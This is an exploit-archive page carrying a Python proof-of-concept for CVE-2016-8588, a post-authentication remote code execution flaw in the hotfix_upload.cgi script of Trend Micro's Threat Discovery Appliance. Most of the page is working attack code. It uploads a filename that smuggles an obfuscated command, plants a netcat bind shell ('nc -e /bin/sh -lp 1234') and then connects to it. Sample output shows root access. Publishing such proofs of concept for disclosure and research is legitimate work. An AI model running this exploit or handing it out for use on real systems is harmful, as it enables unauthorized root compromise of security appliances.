Exploit the possiblities

Trend Micro Threat Discovery Appliance 2.6.1062r1 hotfix_upload.cgi Remote Code Execution

Trend Micro Threat Discovery Appliance 2.6.1062r1 hotfix_upload.cgi Remote Code Execution
Posted Apr 20, 2017
Authored by Roberto Suggi Liverani, mr_me

Trend Micro Threat Discovery Appliance versions 2.6.1062r1 and below suffer from a hotfix_upload.cgi remote code execution vulnerability.

tags | exploit, remote, cgi, code execution
advisories | CVE-2016-8588
MD5 | e421113779124b966d2a378961176ec1

Trend Micro Threat Discovery Appliance 2.6.1062r1 hotfix_upload.cgi Remote Code Execution

Change Mirror Download
#!/usr/local/bin/python
"""
Trend Micro Threat Discovery Appliance <= 2.6.1062r1 hotfix_upload.cgi Remote Code Execution Vulnerability
Found by: Steven Seeley of Source Incite & Roberto Suggi Liverani - @malerisch - http://blog.malerisch.net/
File: TDA_InstallationCD.2.6.1062r1.en_US.iso
sha1: 8da4604c92a944ba8f7744641bce932df008f9f9
Download: http://downloadcenter.trendmicro.com/index.php?regs=NABU&clk=latest&clkval=1787&lang_loc=1

Summary:
========

There exists a post authenticated upload vulnerability that can be used to execute arbitrary code.

Notes:
======

- Since this is a busybox, getting a connectback seemed hard. So, for this particular PoC, all I did was
take command, upload bd, exec, read, rinse, repeat.

- You maybe can get a binded netcat using '`nc -e /bin/sh -lp 1337`' but this at times broke the cgi and the rest of the
log_query_system.cgi was unstable.

- Auth is bypassed, see the other case...

Example:
========

saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py
(+) usage: ./poc.py <target> <pass>
(+) eg: ./poc.py 172.16.175.123 admin123
saturn:trend_micro_threat_discovery_hotfix_upload_rce mr_me$ ./poc.py 172.16.175.123 admin
(+) logged in...
(+) executing bd...
(+) sleeping for a sec...
(+) calling backdoor!
id
uid=0(root) gid=0(root)
uname -a
Linux localhost 2.6.24.4 #1 SMP Wed Oct 13 14:38:44 CST 2010 i686 unknown
pwd
/opt/TrendMicro/MinorityReport/www/cgi-bin
ls pwn
pwn
cat pwn
nc -e /bin/sh -lp 1234

"""

import re
import os
import sys
import time
import requests
import threading

requests.packages.urllib3.disable_warnings()

if len(sys.argv)!= 3:
print "(+) usage: %s <target> <pass>" % sys.argv[0]
print "(+) eg: %s 172.16.175.123 admin123" % sys.argv[0]
sys.exit(-1)

t = sys.argv[1]
p = sys.argv[2]
bu = "https://%s/" % t
l_url = "%scgi-bin/logon.cgi" % bu
u_url = "%scgi-bin/hotfix_upload.cgi?sID=" % bu # you need the sid thingy

s = requests.Session()

def pwn(s):
"""
This 'upload' will trigger the command 3 times... so if you exit the shell,
you can come back another 2 times...
"""

# sorry k0rpr1t_z0mb1e, this requires no oob request
kungfu = "si;S=`echo $PATH|cut -c1`;echo 'nc -e '$S'bin'$S'sh -lp 1234'>pwn;chmod 755 pwn;.`echo $S`pwn"
u = {
'ajaxuploader_file': (kungfu, 'hax', 'text/plain'),
}
r = s.post(u_url, files=u, verify=False)

# first we login...
r = s.post(l_url, data={ "passwd":p, "isCookieEnable":1 }, verify=False)
if "frame.cgi" in r.text:
print "(+) logged in..."
print "(+) executing bd..."
ut = threading.Thread(target=pwn, args=(s,))
ut.daemon = True
ut.start()
print "(+) sleeping for a sec..."
time.sleep(1)
print "(+) calling backdoor!"
os.system("nc %s 1234" % t)
else:
print "(-) login failed"
sys.exit(-1)

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